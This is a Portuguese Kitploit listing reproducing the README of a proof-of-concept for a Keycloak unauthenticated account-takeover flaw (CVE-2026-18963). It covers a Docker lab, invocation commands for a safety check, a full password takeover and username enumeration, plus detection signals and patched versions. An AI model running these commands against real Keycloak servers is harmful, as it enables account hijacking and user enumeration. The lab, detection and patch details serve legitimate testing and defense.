Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Keycloak_CVE-2026-18963_PoC — Este repositório é um PoC do cve-2026-18963. Use-o apenas em produtos legais (laboratório, local, ...). | Kitploit
Ferramentas/GitHubGitHub/prot0tw/keycloak_cve-2026-18963_poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAutenticaçãoLabs e Prática
GitHubprot0tw/keycloak_cve-2026-18963_poc

Keycloak_CVE-2026-18963_PoC

Este repositório é um PoC do cve-2026-18963. Use-o apenas em produtos legais (laboratório, local, ...).

Ver Repositório
1648há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-18963

Bypass de reset-credentials no Keycloak → account takeover não autenticado CVSS 9.1 | Afetado: Keycloak 26.0.0 – 26.7.1


Layout

CVE-2026-18963/
├── cve_2026_18963_poc.py   <- PoC script (Python 3.9+, stdlib only)
├── README.md
├── docker-compose.yml      <- Lab environment
└── realm-poc.json          <- Keycloak realm config (auto-imported)

Requisitos

  • Docker + Docker Compose
  • Python 3.9+ (apenas biblioteca padrão, nada para instalar)
  • Linux

Passo 1: Iniciar o laboratório

docker compose up -d

Ou execute o Keycloak diretamente, sem a importação do realm:

docker run -p 127.0.0.1:8080:8080 \
  -e KC_BOOTSTRAP_ADMIN_USERNAME=admin \
  -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin \
  quay.io/keycloak/keycloak:26.7.1 start-dev

Aguarde cerca de 30–60 segundos para que o Keycloak conclua a inicialização.

Serviços

ServiçoURLVersãoStatus
kc-vulnhttp://localhost:808026.7.1VULNERÁVEL ⚠️
Mailpithttp://localhost:8025latestCaptura e-mails

Credenciais padrão

  • Administrador do Keycloak: admin / admin
  • Usuário vítima: victim / OriginalPassw0rd!
  • Realm: poc | Client: poc-app
  • Verifique a configuração: Realm settings → aba Login → Forgot password está ATIVADO.
  • Se o realm poc ou o usuário victim estiverem ausentes, importe-os manualmente: Manage realms → Create realm → Upload realm-poc.json.

Passo 2: Executar o PoC

Verificação segura (não requer nome de usuário, sem efeitos colaterais)

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --safe-check

Resultado esperado em kc-vuln: [!] VULNERABLE — email gate execution served


Prova não destrutiva (para no formulário Update Password)

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --victim victim --check

Efeitos colaterais: um e-mail de redefinição é enviado à vítima (visualize-o em http://localhost:8025), e emailVerified é definido como true.


Tomada de controle completa

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --victim victim \
  --new-password 'PoCPassw0rd!1'

Em seguida, verifique fazendo login em http://localhost:8080/realms/poc/account com victim / PoCPassw0rd!1.


Enumeração de nomes de usuário

printf 'victim\nadmin\nnobody\n' > userlist.txt

python3 cve_2026_18963_poc.py \
  --base http://localhost:8080 --realm poc \
  --client-id poc-app \
  --redirect-uri http://localhost:9999/callback \
  --enum userlist.txt

Passo 3: Redefinir a vítima ao seu estado inicial

O realm é importado apenas na primeira inicialização, portanto a redefinição mais simples é recriar o ambiente do zero:

docker compose down -v && docker compose up -d

Como alternativa, redefina a senha manualmente no console de administração (http://localhost:8080/admin): Users → victim → Credentials → Reset password → OriginalPassw0rd!.


Desmontagem

docker compose down -v

Sinais de deteção

SinalLegítimoExploração
GET /login-actions/action-token?...✅ Sim❌ Não
POST .../reset-credentials com corpo tryAnotherWay=yes❌ Não✅ Sim
SEND_RESET_PASSWORD → UPDATE_PASSWORD com o mesmo code_id < 2 sRaro✅ Sempre
emailVerified muda para true sem evento VERIFY_EMAIL❌✅ Sempre

No Mailpit (http://localhost:8025) o e-mail de redefinição de palavra-passe chega à caixa de correio da vítima, mas o link dentro dele nunca é clicado quando a exploração é bem-sucedida.


Versões afetadas

Linha de lançamentoAfetadaCorreção
≤ 17 (WildFly)Não—
26.0 – 26.326.0.0 – 26.x.xNenhuma (é necessário mudar para 26.7.2)
26.426.4.0 – 26.4.1426.4.15 (backport do fornecedor)
26.526.5.0 – 26.5.7Nenhuma
26.626.6.0 – 26.6.526.6.6 (backport do fornecedor)
26.726.7.0 – 26.7.126.7.2 ✅

As versões anteriores à 26.0 não são afetadas: a nota persistente AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED e o ecrã seletor "Try another way" no fluxo de redefinição foram introduzidos na 26.0.0. As compilações mais antigas simplesmente não têm o caminho de código vulnerável — o que não é o mesmo que estar corrigidas.


Referências

  • Sploitus (README original): https://sploitus.com/exploit?id=A76D2FC5-1440-568B-81C2-B0213465485E
  • Issue do Keycloak: https://github.com/keycloak/keycloak/issues/51833
  • PR de correção: https://github.com/keycloak/keycloak/pull/51844
  • GHSA: GHSA-4gv3-mc9p-5wqc
  • Red Hat: https://access.redhat.com/security/cve/cve-2026-18963
Baixar ferramenta